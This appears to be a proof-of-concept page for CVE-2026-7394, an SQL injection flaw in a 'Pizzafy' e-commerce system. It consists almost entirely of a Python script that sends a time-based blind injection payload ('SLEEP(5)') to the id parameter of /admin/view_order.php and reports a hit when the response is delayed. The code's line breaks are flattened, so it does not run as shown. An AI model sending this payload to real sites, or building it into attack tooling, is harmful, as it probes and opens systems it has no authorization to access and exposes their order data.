CVE-2026-7394 Pizzafy电商系统SQL注入漏洞

import requests def check_sqli(target_url): """ Proof of Concept for CVE-2026-7394 Tests the 'id' parameter in /admin/view_order.php """ # Payload to test for time-based blind or error-based injection # Adjust the payload based on the specific database backend (MySQL likely) payload = "?id=1' AND (SELECT SLEEP(5))-- -" full_url = f"{target_url}/admin/view_order.php{payload}" try: print(f"Sending request to: {full_url}") response = requests.get(full_url, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected (Time-based).") else: print("[-] No immediate response delay detected. Try manual testing.") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost" check_sqli(target)